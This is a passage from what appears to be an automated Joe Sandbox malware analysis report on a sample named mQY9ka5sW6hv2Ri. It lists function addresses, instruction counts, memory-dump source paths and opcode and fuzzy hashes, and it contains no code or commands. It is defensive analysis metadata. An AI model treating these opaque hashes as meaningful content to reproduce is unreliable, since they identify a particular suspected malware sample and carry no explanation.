                                          • Instruction ID: 3fea23b38b9d4b57ccc005651afe55bc1ae027cf8a8c3115ee767e2309c7c7b4
                                          • Opcode Fuzzy Hash: 3f5f38f7701a137dab3cad77e9e08c78920bbca80481e00bea2760e013bb014e
                                          • Instruction Fuzzy Hash: 4E414134A10719CFCB04EF78C884ADDBBB6FF85304F008559E5199B325EB71A946CB81
                                          Function 07921588 Relevance: .1, Instructions: 105COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ca72a5a028e896c5b72f5aa902e77fac469c4502fb9ec5511d0bfd3b9ee49f38
                                          • Instruction ID: 3308e2bea640ecee54f712f23c35246186ec67f8c5b21c49988654e1b2b63fba
                                          • Opcode Fuzzy Hash: ca72a5a028e896c5b72f5aa902e77fac469c4502fb9ec5511d0bfd3b9ee49f38
                                          • Instruction Fuzzy Hash: 79419F71A0471A8FCB14EF79D44049EBBB2FF893047508A6EC41AAB351EB31E906CB91
                                          Function 07925678 Relevance: .1, Instructions: 101COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4016b001b08b856a601152f2b27ff243704bd422339476a125a969a480f755f4
                                          • Instruction ID: c4b98abeb4df0ade473dd376163eede17bf8fdc90b8b8c006d0cd6be9be4fc64
                                          • Opcode Fuzzy Hash: 4016b001b08b856a601152f2b27ff243704bd422339476a125a969a480f755f4
                                          • Instruction Fuzzy Hash: D3412E34A1071ACFCB04EF68C8849EDFBB6FF89304F018559E5196B325EB71A946CB81
                                          Function 07925D80 Relevance: .1, Instructions: 101COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4c9068a9be597127ee24c5c92abe1c5af19fe37fcb2e40e6eb329163b87f8749
                                          • Instruction ID: e7c3790b5db55455078c2a8f1ff0ecbe7042d333c893ae01d8e294f590f5372e
                                          • Opcode Fuzzy Hash: 4c9068a9be597127ee24c5c92abe1c5af19fe37fcb2e40e6eb329163b87f8749
                                          • Instruction Fuzzy Hash: 9041BF75D11B058FDB00EF69C9444A9B3B5FF8930871286A9E8097B325EB30FDA0CB90
                                          Function 07926120 Relevance: .1, Instructions: 99COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 295fe32a41202e42e89c7643e456fa0b8b18f0a7860997bc117f0420ac342c59
                                          • Instruction ID: 817636e0d5b7cd34d4b70bfdfbdd8985de8704b817631b3cddecd79508601ae7
                                          • Opcode Fuzzy Hash: 295fe32a41202e42e89c7643e456fa0b8b18f0a7860997bc117f0420ac342c59
                                          • Instruction Fuzzy Hash: 90414DB4A04216CFC714DF28C580999FBF5FF49314B0986AAD84ADBB56D730EC46CB90
                                          Function 07920986 Relevance: .1, Instructions: 98COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6ca1a28a2ae7e3c74ab79860ecf27bf70318447cf14174d395999e5de9145ac1
                                          • Instruction ID: 6df4afc6c43e827f0c8e4d7055a5725ad8fbac11a401daece2bf022420537f6f
                                          • Opcode Fuzzy Hash: 6ca1a28a2ae7e3c74ab79860ecf27bf70318447cf14174d395999e5de9145ac1
                                          • Instruction Fuzzy Hash: B63102347506118FCB04EF68C49896D7BFAFF8AA05B5544A9E506DB375CB70EC018B90
                                          Function 07920988 Relevance: .1, Instructions: 97COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f3a1f2126d2d670360a2cf1eb98d975cb597091a131c48b8b3dbdbc61af12eed
                                          • Instruction ID: f4b52333322de873afa3f2d6b8a87a3dc6a3698a1a729998a604bc847956a096
                                          • Opcode Fuzzy Hash: f3a1f2126d2d670360a2cf1eb98d975cb597091a131c48b8b3dbdbc61af12eed
                                          • Instruction Fuzzy Hash: 6C3102347506118FCB04EF68C498A6D7BEAFF8AA05B5544A9E50ADB375CB70EC018BA0
                                          Function 07925560 Relevance: .1, Instructions: 96COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5e1948a64e2d53e01f71f555da5b221bb51881775a492939fdd8ba25330a9777
                                          • Instruction ID: d150aeb3fc613cf33cd8b4c162f17e9a7703a096ed4b91061015faebd930991e
                                          • Opcode Fuzzy Hash: 5e1948a64e2d53e01f71f555da5b221bb51881775a492939fdd8ba25330a9777
                                          • Instruction Fuzzy Hash: 3331A035A11225CFCF04EB64D8548EDF772FF89314B0585A9E909BB324EB30AD0ACB80
                                          Function 079233F8 Relevance: .1, Instructions: 95COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fc9d4178e9ea24ab56c4b1d70f33c512c4bede82e62c9e7f25aac35bfdf4e8a1
                                          • Instruction ID: 9d294c8fdb47f4ba61076f85c0381b9d0bb1c4670cd28586b79b97f3a50d6be9
                                          • Opcode Fuzzy Hash: fc9d4178e9ea24ab56c4b1d70f33c512c4bede82e62c9e7f25aac35bfdf4e8a1
                                          • Instruction Fuzzy Hash: 71413A75A0020ADFCB40DF68D88499EFBB5FF49314B14C699E918AB315E734E986CF90
                                          Function 07920D14 Relevance: .1, Instructions: 93COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 389fd538ecf7365b1bd6b98783f657a5e8f86964eb0d763c3d58031067c29ffd
                                          • Instruction ID: f4c7e44d40793d62acbd93dcdd397200314ffd2272636b4188316251abcfa623
                                          • Opcode Fuzzy Hash: 389fd538ecf7365b1bd6b98783f657a5e8f86964eb0d763c3d58031067c29ffd
                                          • Instruction Fuzzy Hash: C531CEB5D45316CBEB00EF29D89466577B6FF88214F088A79E8096B209DB30A4A0CB60
                                          Function 0792AD20 Relevance: .1, Instructions: 93COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8b93acdc8ccc3b50483c243befe012586596d5487c1c6157dc7c8c283d969dcc
                                          • Instruction ID: 471a94ecf4d5784e1fcb5d09711fda93d2fd7a0acf83a4644519cb78844626f9
                                          • Opcode Fuzzy Hash: 8b93acdc8ccc3b50483c243befe012586596d5487c1c6157dc7c8c283d969dcc
                                          • Instruction Fuzzy Hash: 832149327452604FCB04B67C981177EAB9BDFC5311F1984AAD90ADB3D1CD388C0797A5
                                          Function 07923408 Relevance: .1, Instructions: 92COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8fda4a4a790f64e78f64cc5ad50cdaf8f7bd651038ef02928ec5930762162833
                                          • Instruction ID: ec5187dce7002670cc7351a947200650b9df8a96f1fc8ba3c48f42a1be9e386e
                                          • Opcode Fuzzy Hash: 8fda4a4a790f64e78f64cc5ad50cdaf8f7bd651038ef02928ec5930762162833
                                          • Instruction Fuzzy Hash: CB410975A0020ADFCB40DF68D98499EFBB5FF49314B14C699E918AB315E730E985CF90
                                          Function 07921B7F Relevance: .1, Instructions: 90COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fbbee2bdfd2b7c2eb7a8ca69e75e6d2cd710e935272b42c727f723b9900fe556
                                          • Instruction ID: 2012b7ef46640d3c582ad488330bd9e438cd7bd9a900aaea96b661f1fcd78c9f
                                          • Opcode Fuzzy Hash: fbbee2bdfd2b7c2eb7a8ca69e75e6d2cd710e935272b42c727f723b9900fe556
                                          • Instruction Fuzzy Hash: 183102B5D05355CFDB00FF28D4946657BB6FF89204F088AB9DC496B25ADB30A4A4CB60
                                          Function 07922BF4 Relevance: .1, Instructions: 89COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 70076c3023c96ff6a6c6843929e3a51fe32edd21d52c428be47d2657236fcec7
                                          • Instruction ID: eb8ffc1998d01300ea03a90d70a5f7339991a1db72e4fdb11557ef0f25fedb46
                                          • Opcode Fuzzy Hash: 70076c3023c96ff6a6c6843929e3a51fe32edd21d52c428be47d2657236fcec7
                                          • Instruction Fuzzy Hash: 7321E6B63502218FC714EF2DC8846687BE5FF85325B1984B5E409CF3BADA31DC068B90
                                          Function 079216C8 Relevance: .1, Instructions: 86COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 52ef24dc130bc0cf0b055f451b7fa141f74cc1ac5e738e553b23c9c868acbec3
                                          • Instruction ID: f38036e12a6001f12b94a83568ad0ac531a71254d1a9c05a3c70cb821e9edaec
                                          • Opcode Fuzzy Hash: 52ef24dc130bc0cf0b055f451b7fa141f74cc1ac5e738e553b23c9c868acbec3
                                          • Instruction Fuzzy Hash: 3831BFB0F41229CFCB15EB68D4846AEB7F9BF89304F10456AE506EB354EB709D12CB91
                                          Function 07925D6F Relevance: .1, Instructions: 83COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4c6251cd845876a202ee8bf685f674631b63e8d7cff0d132bf787438fb4a92ed
                                          • Instruction ID: a3ac885d0278c3e2d60af0f76b02c172a1e162fdd3b569acdb8294db30d2f5af
                                          • Opcode Fuzzy Hash: 4c6251cd845876a202ee8bf685f674631b63e8d7cff0d132bf787438fb4a92ed
                                          • Instruction Fuzzy Hash: 77319E72D156058FCB00EF68D994499B7B5FF8931471686A9E8097B325EB30FD90CB90
                                          Function 07921280 Relevance: .1, Instructions: 79COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0870f64d87c15fa2193fe51667db369f039cc0f9e3798f22e4ef7c750474d39d
                                          • Instruction ID: 154bb3a27a4e58652473d650051e834a586a2d5d5f82a3c4f2fee9c116e0c5a1
                                          • Opcode Fuzzy Hash: 0870f64d87c15fa2193fe51667db369f039cc0f9e3798f22e4ef7c750474d39d
                                          • Instruction Fuzzy Hash: DC216AB1F483568FCB21AE7888912EFBBB2EF82214F04407AC554DB659D67858039BD0
                                          Function 0792318D Relevance: .1, Instructions: 79COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 9a974794114dfa864b5d46fb1131bb87070a5b0888126a5aa03db7ba18204fe3
                                          • Instruction ID: d6006556cb947f81972b7bd996b6f29f75614739a9f84e0c91798651e1e7abcb
                                          • Opcode Fuzzy Hash: 9a974794114dfa864b5d46fb1131bb87070a5b0888126a5aa03db7ba18204fe3
                                          • Instruction Fuzzy Hash: 732151319047099FCF00EFB8C8809DEBBB5FF89310F1185AAE545AB225EB34E589CB51
                                          Function 00D5D110 Relevance: .1, Instructions: 75COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659008444.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_d5d000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2e89b5c37a16b2a2a00706fab8cf2d060955acb7371736ecd454e409d384a454
                                          • Instruction ID: 3262db586a7c8ab0d07ebbeeda61e7936210a7c418755e8bb7eb901ffc283756
                                          • Opcode Fuzzy Hash: 2e89b5c37a16b2a2a00706fab8cf2d060955acb7371736ecd454e409d384a454
                                          • Instruction Fuzzy Hash: 55212F71600700DFDF20DF14C980F26BF66EB98311F248169EC094B256C336D84ACAB2
                                          Function 00D6D1D4 Relevance: .1, Instructions: 72COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659049012.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_d6d000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f629c10b4e24e1ce7d219e893c094cf05078baa7026ccfa055f11e5f8cf97b1d
                                          • Instruction ID: dd8df6b7a8636f18c45a6536cd9c752b7980ea069465ad36de81424e1905598b
                                          • Opcode Fuzzy Hash: f629c10b4e24e1ce7d219e893c094cf05078baa7026ccfa055f11e5f8cf97b1d
                                          • Instruction Fuzzy Hash: BA212971A04200EFDB05DF14E5D0B26BBA6FB88314F34C56DD8494B255C336D846CA75
                                          Function 00D6D01C Relevance: .1, Instructions: 72COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659049012.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_d6d000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7a52aad66b21602e30c429ca16fef027ee93009beca535d57f6b9866f6e949cb
                                          • Instruction ID: d64dc52d5abb9112ee9d2d8739dbebe98c76e28d962de4a0b7fccf4e5ac42a0a
                                          • Opcode Fuzzy Hash: 7a52aad66b21602e30c429ca16fef027ee93009beca535d57f6b9866f6e949cb
                                          • Instruction Fuzzy Hash: 1921F275A04240DFCB14DF14E984B26BBA6EB88314F24C569E84A4B296C33BD847CAB1
                                          Function 07920DA4 Relevance: .1, Instructions: 70COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e012b253b105ac832fb27a7aa1f3849e490210f914767a58818a5de0604b8845
                                          • Instruction ID: cc3f2d2b201e283e6014fc27f42638d7086f1d4786d92ba0f4757e0acb75f883
                                          • Opcode Fuzzy Hash: e012b253b105ac832fb27a7aa1f3849e490210f914767a58818a5de0604b8845
                                          • Instruction Fuzzy Hash: 14215131A047099FCF00EFA8C9848DEBBB5FF89300F418669E5456B225EB34E589CF41
                                          Function 07921578 Relevance: .1, Instructions: 70COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 39b24c795a67202fca025001204788ea51060c53e6aa15fd7c7d8b4c7559bd35
                                          • Instruction ID: d927c5c98729952a529970be786c8c7b12bf1c08086f5a508fd684cc705ec8d3
                                          • Opcode Fuzzy Hash: 39b24c795a67202fca025001204788ea51060c53e6aa15fd7c7d8b4c7559bd35
                                          • Instruction Fuzzy Hash: 60214F74A0071ACFCB20EF64C18089EB7B6FF893047504A6ED55A97755EB30E906CF91
                                          Function 07928568 Relevance: .1, Instructions: 70COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b12efa3090dc7a0f7ca43c742f63c4a86ac4f782fb10be0cb94954e186ea9ef2
                                          • Instruction ID: 6b9b16810e85356cc444b4dc23235c4e179bd9e9859200bbcc4b4e1c9ceb7631
                                          • Opcode Fuzzy Hash: b12efa3090dc7a0f7ca43c742f63c4a86ac4f782fb10be0cb94954e186ea9ef2
                                          • Instruction Fuzzy Hash: 4B212F71A106199FCB10EF6CD88099DFBB4FF59311B50C26AE958A7204FB30E995CBD1
                                          Function 079212B0 Relevance: .1, Instructions: 69COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: eb7f9707c070853e9ea4a3fc69700256bef4b80c80ef0ece9f30a1a14f1a3826
                                          • Instruction ID: 719568baaa48812d7d108d99263a19354cebb14f33658f0d13ba26e3375b405d
                                          • Opcode Fuzzy Hash: eb7f9707c070853e9ea4a3fc69700256bef4b80c80ef0ece9f30a1a14f1a3826
                                          • Instruction Fuzzy Hash: DE11E4B1F0072A8BDF20FEA984812BFB7F6EBC4618F04853AD515E7608DB74994297C1
                                          Function 07921AA8 Relevance: .1, Instructions: 66COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fca8a10ec203b201a593a876cee6ca9e694305593c74d8fe681d9d9fed1c79cb
                                          • Instruction ID: ba6f671a5a5de2a56522875176fcf1dccbbe4dc69b635f0d4ad553a50d47f1e6
                                          • Opcode Fuzzy Hash: fca8a10ec203b201a593a876cee6ca9e694305593c74d8fe681d9d9fed1c79cb
                                          • Instruction Fuzzy Hash: B421DE31501754CFCB65EB38C450AAAB7B6AFC1208F0188AEC0594B274DF35F88ADB92
                                          Function 00D6D005 Relevance: .1, Instructions: 62COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659049012.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_d6d000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7bb609f7dafee196eeef9619cb1b4ed5ff3f8bdb688283beb9f1d1950c18395f
                                          • Instruction ID: e78582fb309b2a8dae42ca3af5720f606e5ad4e1dfed664ce4259ca6fcc3090c
                                          • Opcode Fuzzy Hash: 7bb609f7dafee196eeef9619cb1b4ed5ff3f8bdb688283beb9f1d1950c18395f
                                          • Instruction Fuzzy Hash: 912150755093808FDB12CF24D994715BF72EB46314F28C5EAD8498F6A7C33A980ACB62
                                          Function 07920CE4 Relevance: .1, Instructions: 59COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a0d0301a1e1ded39e80bc674ed0c7212e6c426f6ad3514965942512e62207c44
                                          • Instruction ID: 998beed2e520a0d20c1231d69242bc96f22751a531a850472c804b1dc81ee960
                                          • Opcode Fuzzy Hash: a0d0301a1e1ded39e80bc674ed0c7212e6c426f6ad3514965942512e62207c44
                                          • Instruction Fuzzy Hash: 3F215E31501715CFC754EB38C444AAAB3B6EFC5319F00886DD45A1B268DF31F88ADB42
                                          Function 07924138 Relevance: .1, Instructions: 59COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3b45aebc6ee5bb520b57729317075a2943c775812099951ff4cbd8f9e9ff56b0
                                          • Instruction ID: ac61fd4220df6e78dd81c67bc858bd40d5120451277def76f889609ca089c6d2
                                          • Opcode Fuzzy Hash: 3b45aebc6ee5bb520b57729317075a2943c775812099951ff4cbd8f9e9ff56b0
                                          • Instruction Fuzzy Hash: 661125763042514FC7109A2CCC89AA93FA9EF86314F1D80B5E849CF3BBD924DC069BA0
                                          Function 00D5D10B Relevance: .1, Instructions: 56COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659008444.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_d5d000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                          • Instruction ID: 4a249527a57d0ab28abcc611b619a746728013f99a712a7b31aaeabe5a722500
                                          • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                          • Instruction Fuzzy Hash: 35119D76504640CFDF16CF10D9C4B16BF62FB94314F28C5A9DD094B256C336D85ACBA1
                                          Function 07929B0D Relevance: .1, Instructions: 54COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 58519ecea548fbc36270033ca2e8e039059679527389950e9afa2941532b2101
                                          • Instruction ID: 698dc277d3cd15d584d866168af87a795df91ccc684308f568b94279928f4796
                                          • Opcode Fuzzy Hash: 58519ecea548fbc36270033ca2e8e039059679527389950e9afa2941532b2101
                                          • Instruction Fuzzy Hash: 3D11CE70701311DFC714AB28D889A6BBBE9EF88314B18486DE846C7366CF75EC06CB21
                                          Function 07929A9F Relevance: .1, Instructions: 54COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1664053193.0000000007920000.00000040.00000800.00020000.00000000.sdmp, Offset: 07920000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_7920000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: febc08a47acb7c29be7472b8ed91e54341090fc843284ec97b6de8ddab98c299
                                          • Instruction ID: e62516de1f70f4182c76b4c9f30f82f8c12a23b6513deabd7b948f4d8429f4a6
                                          • Opcode Fuzzy Hash: febc08a47acb7c29be7472b8ed91e54341090fc843284ec97b6de8ddab98c299
                                          • Instruction Fuzzy Hash: D611A570701215DFC714DB28D489A6BBBE9EF85214B14486DE406C7765CF75EC06C751
                                          Function 00D6D1CF Relevance: .1, Instructions: 53COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1659049012.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_d6d000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                          • Instruction ID: c4d6693f020540643333f9edce83a8dfcbe97ec7eef7e8c20769e25ad88720b2
                                          • Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                          • Instruction Fuzzy Hash: D2118B75A04280DFDB16CF14D5D4B15BBA2FB88314F28C6AAD8494B696C33AD84ACB61
                                          Function 0792AF51 Relevance: .0, Instructions: 46COMMON
                                          Download Yara Rule
                                          Memory Dump Source
